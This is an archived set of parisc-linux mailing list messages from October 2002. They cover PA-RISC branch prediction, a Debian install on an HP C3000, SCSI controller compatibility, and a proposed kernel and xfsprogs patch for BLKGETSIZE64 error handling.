Approved: news@gmane.org
Message-ID: <200210251717.g9PHHX2f029861@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621861 16017 80.91.229.3 (22 Nov 2014 02:04:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 25 11:17:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id DCDFC4834
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 Oct 2002 11:17:37 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g9PHHX00029863
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 Oct 2002 13:17:34 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g9PHHX2f029861
	for parisc-linux@lists.parisc-linux.org; Fri, 25 Oct 2002 13:17:33 -0400 (EDT)
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16590

Does anyone know which PA processors if any implement the BTS?  I
was also wondering about the ITLB P bit and what parisc-linux does
with it.  The came up in regard to accelerating branches for calls
and returns.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kedarnath Balakrishnan <balak@ieee.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] installation on C3000
Date: Fri, 25 Oct 2002 15:35:10 -0500
Lines: 12
Approved: news@gmane.org
Message-ID: <3DB9AAFE.8C4896B3@ieee.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621862 16019 80.91.229.3 (22 Nov 2014 02:04:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:22 +0000 (UTC)
Cc: balak@ieee.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 25 14:33:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dhcp-53-142.ece.utexas.edu (dhcp-53-142.ece.utexas.edu [146.6.53.142])
	by dsl2.external.hp.com (Postfix) with ESMTP id F37B7483D
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 Oct 2002 14:33:10 -0600 (MDT)
Original-Received: from ieee.org (localhost.localdomain [127.0.0.1])
	by dhcp-53-142.ece.utexas.edu (8.11.2/8.11.2) with ESMTP id g9PKZBM30835;
	Fri, 25 Oct 2002 15:35:11 -0500
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.2-2 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16591

Hi,

I am trying to install Debian on HP Visualize C3000. I read the HOW-TO
and managed to make it boot from the ide cdrom drive. The Debian screen
comes up but then it is not able to read any input. Both Keyboard and
mouse are in USB port in my m/c. Is that the problem or is there
something else I am missing??

Thanks,
Balak



From - Thu Nov 08 21:25:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installation on C3000
Date: Fri, 25 Oct 2002 16:58:36 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <20021025225836.CD21B4834@dsl2.external.hp.com>
References: <3DB9AAFE.8C4896B3@ieee.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621862 16020 80.91.229.3 (22 Nov 2014 02:04:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kedarnath Balakrishnan <balak@ieee.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 25 16:58:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id CD21B4834; Fri, 25 Oct 2002 16:58:36 -0600 (MDT)
In-Reply-To: Message from Kedarnath Balakrishnan <balak@ieee.org> 
   of "Fri, 25 Oct 2002 15:35:10 CDT." <3DB9AAFE.8C4896B3@ieee.org> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16592

Kedarnath Balakrishnan wrote:
> I am trying to install Debian on HP Visualize C3000. I read the HOW-TO
> and managed to make it boot from the ide cdrom drive. The Debian screen
> comes up but then it is not able to read any input. Both Keyboard and
> mouse are in USB port in my m/c. Is that the problem or is there
> something else I am missing??

I suspect the kernel in debian stable might just be too old.
Can you try newer net-install images from ESIEE?
	(ftp://ftp.parisc-linux.org/cd-images/testing/auto-isos/)

FWIW, at least three developers are *using* C3000 including myself.
But I've never cold installed using the debian since I've had bits
on this machine since well before any ISOs were available.
Probably would be a good exercise....

hth,
grant


From - Thu Nov 08 21:25:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 735/125 Wide Diff scsi
Date: Fri, 25 Oct 2002 17:00:14 -0700 (PDT)
Lines: 49
Approved: news@gmane.org
Message-ID: <20021026000014.4733.qmail@web12507.mail.yahoo.com>
References: <20021025005035.AB3E74852@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621862 16023 80.91.229.3 (22 Nov 2014 02:04:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:22 +0000 (UTC)
Cc: Richard Nairn <richard@nairnconsulting.ca>,
	taggart@carmen.fc.hp.com, parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 25 18:00:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12507.mail.yahoo.com (web12507.mail.yahoo.com [216.136.173.199])
	by dsl2.external.hp.com (Postfix) with SMTP id 291B64834
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 Oct 2002 18:00:18 -0600 (MDT)
Original-Received: from [12.24.252.219] by web12507.mail.yahoo.com via HTTP; Fri, 25 Oct 2002 17:00:14 PDT
In-Reply-To: <20021025005035.AB3E74852@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16593

So my C180 has a different HVD controller chip than the 735?

derek

--- Grant Grundler <grundler@dsl2.external.hp.com> wrote:
> "John David Anglin" wrote:
> > > Is there any approx time for the WD driver? I have about 60G I
> can put on
> > > my machine if it works.. Will it work if It gets plugged in the
> SE Chain?
> > 
> > No.  It may cause damage.
> 
> Not true.
> Mixing SE and HVD devices on a SCSI bus will result in the interface
> chips "tri-stating". ie no one can talk on the bus. But nothing
> smokes
> either - at least not for the HP product testing I was involved with
> several years ago.
> 
> > There was a question about the WD driver not too long ago.  You
> could search
> > for the answer but I believe only hpux supports the WD interface at
> this
> > time.
> 
> And that's going to get dropped soon too.
> Last product to support HVD is based on Sym53c876 chip.
> The interface cards are supported on new IA64 machines
> but I'm not sure one can purchase them or purchase HVD disks.
> 
> > You may be able to add a newer LVD to the SE chain and have it
> > work.  I'm not sure if it could be used as a boot device though.
> 
> The LVD should work fine as a boot device in SE mode.
> LVD devices talk SE like any other SE device (AFAIK).
> 
> grant
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


__________________________________________________
Do you Yahoo!?
Y! Web Hosting - Let the expert host your web site
http://webhosting.yahoo.com/


From - Thu Nov 08 21:25:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 735/125 Wide Diff scsi
Date: Sat, 26 Oct 2002 01:07:28 +0100
Lines: 10
Approved: news@gmane.org
Message-ID: <20021026010728.H27461@parcelfarce.linux.theplanet.co.uk>
References: <20021025005035.AB3E74852@dsl2.external.hp.com> <20021026000014.4733.qmail@web12507.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621862 16025 80.91.229.3 (22 Nov 2014 02:04:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:22 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Richard Nairn <richard@nairnconsulting.ca>, taggart@carmen.fc.hp.com,
	parisc-linux@lists.parisc-linux.org
To: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 25 18:07:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E4B8B4834
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 Oct 2002 18:07:33 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 185EUC-00006y-00; Sat, 26 Oct 2002 01:07:28 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20021026000014.4733.qmail@web12507.mail.yahoo.com>; from derekengelhaupt@rocketmail.com on Fri, Oct 25, 2002 at 05:00:14PM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16594

On Fri, Oct 25, 2002 at 05:00:14PM -0700, Derek Engelhaupt wrote:
> So my C180 has a different HVD controller chip than the 735?

The problem is that 735's CPU can't allocate consistent memory -- the
C180 has the CCIO IOMMU, so it can.  The ncr53c7xx driver relies on
being able to allocate consistent memory.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installation on C3000
Date: Fri, 25 Oct 2002 20:50:53 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <20021026005053.GC16071@systemhalted>
References: <3DB9AAFE.8C4896B3@ieee.org> <20021025225836.CD21B4834@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621863 16027 80.91.229.3 (22 Nov 2014 02:04:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:23 +0000 (UTC)
Cc: Kedarnath Balakrishnan <balak@ieee.org>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 25 18:56:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id C800C4834
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 Oct 2002 18:56:10 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 185FAE-0004Cp-00; Fri, 25 Oct 2002 20:50:54 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Grant Grundler <grundler@dsl2.external.hp.com>,
	Kedarnath Balakrishnan <balak@ieee.org>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20021025225836.CD21B4834@dsl2.external.hp.com>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16595

> 
> I suspect the kernel in debian stable might just be too old.
> Can you try newer net-install images from ESIEE?
> 	(ftp://ftp.parisc-linux.org/cd-images/testing/auto-isos/)
> 
> FWIW, at least three developers are *using* C3000 including myself.
> But I've never cold installed using the debian since I've had bits
> on this machine since well before any ISOs were available.
> Probably would be a good exercise....
> 
> hth,
> grant


I used the serial console :} 

c.



From - Thu Nov 08 21:25:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Branch Prediction
Date: Fri, 25 Oct 2002 23:11:38 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <20021026051138.248F24834@dsl2.external.hp.com>
References: <200210251717.g9PHHX2f029861@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621863 16029 80.91.229.3 (22 Nov 2014 02:04:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 25 23:11:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 248F24834; Fri, 25 Oct 2002 23:11:38 -0600 (MDT)
In-Reply-To: Message from "John David Anglin" <dave@hiauly1.hia.nrc.ca> 
   of "Fri, 25 Oct 2002 13:17:32 EDT." <200210251717.g9PHHX2f029861@hiauly1.hia.nrc.ca> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16596

"John David Anglin" wrote:
> Does anyone know which PA processors if any implement the BTS?

No clue. I had to read the PA2.0 arch book (page 6-15, "Branch 
Target Stack) to learn what this is and what it does.

Anyay, it would be interesting to know if HPUX's acc uses it.
ie did it's usage ever get validated for both systems that do
and don't implement BTS?

> I was also wondering about the ITLB P bit and what parisc-linux does
> with it.  The came up in regard to accelerating branches for calls
> and returns.

It sounds like parisc-linux does nothing with P-bit.
We could just always enable it if you think that's the right
thing to do for now. Looks like could be done by adding one more
insn to itlb_miss_common_20w in entry.S.


But to answer both questions, remind me to dig this up if
no answer gets posted by next Wednesday or so.

grant


From - Thu Nov 08 21:25:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: mkfs.xfs (xfsprogs-2.3.5) failled
Date: Sat, 26 Oct 2002 17:39:48 +0000
Lines: 154
Approved: news@gmane.org
Message-ID: <3DBAD364.9060301@freebel.net>
References: <3DB5776100000C32@ocpmta8.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621863 16032 80.91.229.3 (22 Nov 2014 02:04:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:23 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	Stefan Pfetzing <dreamind@dreamind.de>,
	parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 26 10:34:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 91098484E
	for <parisc-linux@lists.parisc-linux.org>; Sat, 26 Oct 2002 10:33:59 -0600 (MDT)
Original-Received: from [62.235.70.66] (helo=freebel.net)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 185Tsg-0000TH-00; Sat, 26 Oct 2002 18:33:46 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020913 Debian/1.1-1
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16597

Hmm question about "default:" uaccess.h implementation on different 
platform:

i386 declare: "extern void __get_user_bad(void);"

ia64: "extern void __get_user_unknown (void);"

mips: "extern void __get_user_unknown(void);"
...
but not define elsewhere? (is it there so that the build of the kernel 
failed if that case was requested to run properly?)

Thanks in advance for attention,
     Joel

PS: afaik on i386 only put_user_u64 is define why not pending get_user?


jsoe0708@tiscali.be wrote:
> too bad:
> 
>  man ioctl advise that it would return -1 (not ENOTSUP which would be assign
> to errno) I will try to see how?
> 
> Sorry to annoy,
>     Joel
> 
> 
>>-- Original Message --
>>From: jsoe0708@tiscali.be
>>Subject: Re: [parisc-linux] Re: mkfs.xfs (xfsprogs-2.3.5) failled
>>To: "Randolph Chung" <randolph@tausq.org>,
>>	"Stefan Pfetzing" <dreamind@dreamind.de>
>>Cc: parisc-linux@lists.parisc-linux.org
>>Date: Fri, 25 Oct 2002 14:58:42 +0200
>>
>>
>>Hi Randolph,
>>
>>It sure I found a bug in the two parts kernel and xfs.
>>
>>A. The kernel hppa: put_user and get_user does just a printk for BUG messages
>>but don't return error code as ENOTSUP (or what else) (what I assume the
>>other platforms does when they do not yet support BLKGETSIZE64?)
>>
>>Here is a small patch I suggest:
>>(I do not reach to implement an operational support of BLKGETSIZE64 [for
>>32bits kernel]; I do not find a easy way to manage code failure :-( )
>>
>>--- uaccess.h.orig	2002-10-22 15:14:54.000000000 +0200
>>+++ uaccess.h	2002-10-23 13:46:48.000000000 +0200
>>@@ -35,10 +35,10 @@
>>#define get_user __get_user
>>
>>#if BITS_PER_LONG == 32
>>-#define LDD_KERNEL(ptr)		BUG()
>>-#define LDD_USER(ptr)		BUG()
>>-#define STD_KERNEL(x, ptr)	BUG()
>>-#define STD_USER(x, ptr)	BUG()
>>+#define LDD_KERNEL(ptr)		BUG(); __gu_err=ENOTSUP;
>>+#define LDD_USER(ptr)		BUG(); __gu_err=ENOTSUP;
>>+#define STD_KERNEL(x, ptr)	BUG(); __pu_err=ENOTSUP;
>>+#define STD_USER(x, ptr)	BUG(); __pu_err=ENOTSUP;
>>#else
>>#define LDD_KERNEL(ptr) __get_kernel_asm("ldd",ptr)
>>#define LDD_USER(ptr) __get_user_asm("ldd",ptr)
>>@@ -75,7 +75,7 @@
>>	    case 2: __get_kernel_asm("ldh",ptr); break; \
>>	    case 4: __get_kernel_asm("ldw",ptr); break; \
>>	    case 8: LDD_KERNEL(ptr); break;		\
>>-	    default: BUG(); break;                      \
>>+	    default: BUG(); __gu_err=ENOTSUP; break;    \
>>	    }                                           \
>>	}                                               \
>>	else {                                          \
>>@@ -84,7 +84,7 @@
>>	    case 2: __get_user_asm("ldh",ptr); break;   \
>>	    case 4: __get_user_asm("ldw",ptr); break;   \
>>	    case 8: LDD_USER(ptr);  break;		\
>>-	    default: BUG(); break;                      \
>>+	    default: BUG(); __gu_err=ENOTSUP; break;    \
>>	    }                                           \
>>	}                                               \
>>							\
>>@@ -144,7 +144,7 @@
>>	    case 2: __put_kernel_asm("sth",x,ptr); break;       \
>>	    case 4: __put_kernel_asm("stw",x,ptr); break;       \
>>	    case 8: STD_KERNEL(x,ptr); break;			\
>>-	    default: BUG(); break;                              \
>>+	    default: BUG(); __pu_err=ENOTSUP; break;		\
>>	    }                                                   \
>>	}                                                       \
>>	else {                                                  \
>>@@ -153,7 +153,7 @@
>>	    case 2: __put_user_asm("sth",x,ptr); break;         \
>>	    case 4: __put_user_asm("stw",x,ptr); break;         \
>>	    case 8: STD_USER(x,ptr); break;			\
>>-	    default: BUG(); break;                              \
>>+	    default: BUG(); __pu_err=ENOTSUP; break;		\
>>	    }                                                   \
>>	}                                                       \
>>								\
>>
>>If all agreed, (awaiting better :?) can somebody ci it?
>>
>>
>>Thanks in advance for attention,
>>   Joel
>>
>>PS: 
>>B. in xfs:
>>
>>	error = ioctl(fd, BLKGETSIZE64, &size);
>>-	if (error >= 0) {
>>+	if (!error) {
>>		/* BLKGETSIZE64 returns size in bytes not 512-byte blocks */
>>
>>AFAIK ioctl should return error=0 if success and error <>0 (>0?) 
>>
>>here is the full patch I will suggest:
>>
>>--- cmd/xfsprogs/libxfs/init.c.orig	2002-10-25 12:12:29.000000000 +0200
>>+++ cmd/xfsprogs/libxfs/init.c	2002-10-25 14:22:34.000000000 +0200
>>@@ -155,11 +155,14 @@
>>			progname, path, strerror(errno));
>>		exit(1);
>>	}
>>+#if !defined(__hppa__) || defined(__LP64__)
>>	error = ioctl(fd, BLKGETSIZE64, &size);
>>-	if (error >= 0) {
>>+	if (!error) {
>>		/* BLKGETSIZE64 returns size in bytes not 512-byte blocks */
>>		size = size >> 9;
>>-	} else {
>>+	} else
>>+#endif
>>+        {
>>		/* If BLKGETSIZE64 fails, try BLKGETSIZE */
>>		unsigned long tmpsize;
>>		error = ioctl(fd, BLKGETSIZE, &tmpsize);
>>
>>_______________________________________________
>>parisc-linux mailing list
>>parisc-linux@lists.parisc-linux.org
>>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 



From - Thu Nov 08 21:25:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
